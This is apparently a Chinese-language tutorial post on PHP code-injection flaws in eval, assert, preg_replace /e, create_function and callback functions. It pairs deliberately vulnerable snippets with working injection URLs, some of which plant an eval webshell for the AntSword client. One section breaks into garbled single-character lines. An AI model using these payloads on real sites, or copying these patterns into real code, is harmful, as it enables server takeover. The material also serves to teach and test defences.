一、介绍
当应用再调用一些字符串转换为代码的函数时,如果用户可以控制字符串就可以输入代码 #!理论上所有回调函数都可以利用。
二、分类
1.1-eval()
eval—php.net eval是一个语言构造器不可以作为可变函数调用,必须要一定格式,容易被拦截。括号内需要单引号(括号内为字符串以分号结尾)。
1.1-1—构造闭合
案例1:=============================================
<?php
$data=$_GET['data'];
eval("\$ret=$data;");
echo $ret ;
?>
url:test.php?data=eval($_POST[cmd])
案例2:=============================================
<?Php
$data=$_GET['data'];
eval("\$ret=strtolower('$data');");
echo $ret;
?>
url:test.php?data=');eval($_POST[cmd]);(' url:test.php?data=');eval($_GET[cmd]);//
1.1-2—${}
不能被单引号包括,双引号可以(在双引号下$符号可以解析) 案例1:=============================================
<?Php
$data=$_GET['data'];
eval("\$ret=strtolower('$data');");
echo $ret
?>
方法1:test.php?data=');${eval($_POST[cmd])};('
案例2:=============================================
<?Php
$data=$_GET['data'];
eval("\$ret=strtolower(\"$data\");");
echo $ret;
?>
url:test.php?data=${eval($_POST[1])}
案例3:=============================================
<?Php
$data="array('a'=>'aaa',
'b'=>'222222',
'c'=>'',111=>$_GET[cmd],222=>'22' )";
eval("\$arr=$data;");
?>
url:test.php?cmd=1, eval($_GET[1])
url:test.php?cmd=${ eval($_GET[1])}
1.2-assert()
assert—php.net PHP8不允许可变函数调用。assert()内只支持函数,常与eval()连用。 案例1:============================================= 直接使用函数
<?php assert($_GET[cmd]); ?>
案例2:============================================= 不使用函数,与eval()连用
<?php assert($_GET[cmd]); ?>
url:test.php?cmd=eval($_GET[1])&1=echo 11111111111111111;
案例3:============================================= 可变函数调用
<?Php
$str=$_GET[cmd];
$a='ass'; $b='ert';
$c=$a.$b;
$c($str)
?>
1.3-正则preg_replace()
preg_replace—php.net preg_replace(pattern【/匹配的内容/】,replacement,subject) 搜索subject中匹配pattern的部分用replacement替换该部分。如果replacement直接或间接可控,pattern参数带e,且满足替换条件,5.4<php<=5.6,将replacement替换成php函数就可以执行 条件: 1、查找的字符在第三个参数可以匹配到。 2、版本号<=5.6。 3、Pattern带e。 4、第二个参数直接或者间接可控。
案例1:============================================= 替换
<?php $a=$_GET['a']; echo preg_replace("/test/e",$a,"just,test!") ?>
url:test.php?a=1111111111111111111
案例2:============================================= 替换并执行
<?php $a=$_GET['a']; echo preg_replace("/test/e",$a,"just,test!") ?>
url:test.php?a=phpinfo()
案例3:============================================= 配合eval()执行echo
<?php $a=$_GET['a']; echo preg_replace("/test/e",$a,"just,test!") ?>
url:test.php?a=eval($_GET[1])&1=echo 11111;
案例4:=============================================
<?Php
$a=$_GET['a']; preg_replace('/<d>(.*)<\/d>/e','$ret="\\1";',$a);
echo $ret;
?>
url:test.php?a=<d>${phpinfo()}</d> 直接使用 ${}只可以执行函数
url:test.php?a=<d>${eval($_GET[cmd])} 使用${eval($_GET[cmd])} 可以执行命令,连接蚁剑。
1.4-Create_function()
create_function—php.net 创建匿名函数,7.2.0废弃。从传递的参数中创建一个匿名函数,返回一个唯一的名称。内部执行以一个eval函数。 Create_function(‘参数’,方法体) 使用//注释默认会把最后的}注释,需要在//之前补全}。 案例1:============================================= 创建匿名函数
<?php
$func_name=function(){
echo '创建一个匿名函数<br/>';
};
$func_name();
$fun=create_function('','echo \'方法体\';');
$fun();
?>
案例2:============================================= 创建匿名函数代码执行
<?php error_reporting(0);
$sort_by=$_GET['sort_by'];
echo $sort_by.'<br/>';
$sort_function='return 1 * strnatcasecmp ($a["'.$sort_by.'"],$b["'.$sort_by.'"]);';
echo $sort_function; $func=create_function('$a,$b',$sort_function); $func(1,$sort_by);
?>
方法1: 变量sort_function <?php return1*strnatcasecmp($a[""],$b[""],eval($_GET[cmd]));}"] ); ?>
插入:"],eval($_GET[cmd]));}// 如下: <?php return 1 * strnatcasecmp ($a[""],eval($_GET[cmd]));}//"],$b[""],eval($_GET[cmd]));}//"] ); ?>
传入cmd的值:phpinfo();成功执行!
方法2:直接使用${phpinfo()}
案例3:============================================= 1、引用赋值$var = &$othervar; 引用赋值意味着两个变量指向了同一个数据,没有拷贝任何东西。在函数传递参数是变量前加上&,函数执行的结果会影响原来的变量值。 详细看这里
<?php
function changeAry(&$arr){
for ($i=0;$i<count($arr);++$i){
$arr[$i]=$arr[$i]*2;
}
}
$arr=array(1,2,3,4,5);
changeAry($arr);
foreach ($arr as $v){
echo $v."<br />";
} die();
?>
案例4:=============================================
<?php $c=$_GET['c'];
$lambda=create_function('$a,$b',"return (strlen(\$a)-strlen(\$b)+"."strlen($c));"); $array=array('reall long string here,boy','this','midding lenth','larget');
usort($array,$lambda);
?>
//$lambda创建一个匿名函数, 如下:
function niminghanshu($a,$b){
return (strlen(\$a)-strlen(\$b)+"."strlen($c));}
方法1:${} 直接上蚁剑
test.php?c=${eval($_POST[1])}
url:test.php?c=${eval($_GET[1])}&1=phpinfo();
方法2:构造闭合 蚁剑
test.php?c='t')%2beval($_POST[1]));}
url:test.php?c='t')%2beval($_GET[1]));}//&1=phpinfo();
1.5-array_map()
为数组的每个元素应用回调函数 详解 案例1:=============================================
<?php $arr=array(1,2,3,4,5);
function test($a){ return $a*$a; }
$res=array_map('test',$arr);
var_dump($res);
?>
array_map(‘test’,
a
r
r
)
/
/
从
arr) //从
arr)//从arr数组中取值,回调test函数执行 返回一个数组,是为 $arr的每个元素应用 test函数之后的数组。 案例2:=============================================
<?Php
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
echo $new_array;
?>
方法1: //当
f
u
n
c
为
a
s
s
e
r
t
,
func为assert,
func为assert,cmd=phpinfo();时就可以代码执行。 url:test.php?func=assert&cmd=phpinfo();
蚁剑:test.php?func=assert&cmd=eval($_POST[1])
1.6-call_user_func
详解 7.4可用 调用用户的函数。 把第一个参数作为回调函数调用 案例1:=============================================
<?Php
call_user_func("assert",$_GET['cmd']);
?>
url:php?cmd=phpinfo()
1.7-array_filter()
详解 从数组中筛选出符合条件的值。遍历数组中的每个值,并将每个值传递给回调函数。 如果回调函数返回 true,则将数组中的当前值返回到结果数组中。 返回结果数组的键名(下标)会维持不变,如果参数是索引数组,返回的结果数组键名(下标)可能会不连续。 可以使用 array_values() 函数对数组重新索引。 案例1:============================================= 作用演示
<?Php
function is0dd($num){
return $num%2==0;
}
$arr=array(1,4,9,-7,33);
$res=array_filter($arr,'is0dd');
var_dump($res);
?>
案例2:=============================================
<?Php
highlight_file(__FILE__);
$array[0]=$_GET['a'];
array_filter($array,'assert');
?>
url:test.php?a=phpinfo()
qq1203624614 这篇文章是在word写好直接复制过来的,图片没办法复制就没放。文章中可能会有一些格式问题或者错误,大家凑合看看,及时联系我更改。
|